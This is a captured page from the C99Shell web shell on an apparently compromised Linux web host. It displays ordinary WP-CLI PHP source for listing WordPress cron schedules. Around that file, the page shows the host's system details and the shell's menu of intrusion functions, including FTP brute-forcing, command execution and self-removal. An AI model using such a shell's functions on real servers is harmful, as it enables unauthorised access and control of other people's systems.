!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/cron-command/src/   drwxr-xr-x
Free 719.72 GB of 879.6 GB (81.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Cron_Schedule_Command.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Gets WP-Cron schedules.
 *
 * ## EXAMPLES
 *
 *     # List available cron schedules
 *     $ wp cron schedule list
 *     +------------+-------------+----------+
 *     | name       | display     | interval |
 *     +------------+-------------+----------+
 *     | hourly     | Once Hourly | 3600     |
 *     | twicedaily | Twice Daily | 43200    |
 *     | daily      | Once Daily  | 86400    |
 *     +------------+-------------+----------+
 */
class Cron_Schedule_Command extends WP_CLI_Command {

    private $fields = array(
        'name',
        'display',
        'interval',
    );

    /**
     * List available cron schedules.
     *
     * ## OPTIONS
     *
     * [--fields=<fields>]
     * : Limit the output to specific object fields.
     *
     * [--field=<field>]
     * : Prints the value of a single field for each schedule.
     *
     * [--format=<format>]
     * : Render output in a particular format.
     * ---
     * default: table
     * options:
     *   - table
     *   - csv
     *   - ids
     *   - json
     *   - yaml
     * ---
     *
     * ## AVAILABLE FIELDS
     *
     * These fields will be displayed by default for each cron schedule:
     *
     * * name
     * * display
     * * interval
     *
     * There are no additional fields.
     *
     * ## EXAMPLES
     *
     *     # List available cron schedules
     *     $ wp cron schedule list
     *     +------------+-------------+----------+
     *     | name       | display     | interval |
     *     +------------+-------------+----------+
     *     | hourly     | Once Hourly | 3600     |
     *     | twicedaily | Twice Daily | 43200    |
     *     | daily      | Once Daily  | 86400    |
     *     +------------+-------------+----------+
     *
     *     # List id of available cron schedule
     *     $ wp cron schedule list --fields=name --format=ids
     *     hourly twicedaily daily
     *
     * @subcommand list
     */
    public function list_( $args, $assoc_args ) {
        $formatter = $this->get_formatter( $assoc_args );

        $schedules = self::get_schedules();

        if ( 'ids' === $formatter->format ) {
            echo implode( ' ', wp_list_pluck( $schedules, 'name' ) );
        } else {
            $formatter->display_items( $schedules );
        }
    }

    /**
     * Callback function to format a cron schedule.
     *
     * @param array $schedule The schedule.
     * @param string $name The schedule name.
     * @return array The formatted schedule.
     */
    protected static function format_schedule( array $schedule, $name ) {
        $schedule['name'] = $name;
        return $schedule;
    }

    /**
    * Return a list of the cron schedules sorted according to interval.
    *
    * @return array The array of cron schedules. Each schedule is itself an array.
    */
    protected static function get_schedules() {
        $schedules = wp_get_schedules();
        if ( ! empty( $schedules ) ) {
            uasort( $schedules, 'Cron_Schedule_Command::sort' );
            $schedules = array_map( 'Cron_Schedule_Command::format_schedule', $schedules, array_keys( $schedules ) );
        }
        return $schedules;
    }

    /**
     * Callback function to sort the cron schedule array by interval.
     *
     */
    protected static function sort( array $a, array $b ) {
        return $a['interval'] - $b['interval'];
    }

    private function get_formatter( &$assoc_args ) {
        return new \WP_CLI\Formatter( $assoc_args, $this->fields, 'schedule' );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0097 ]--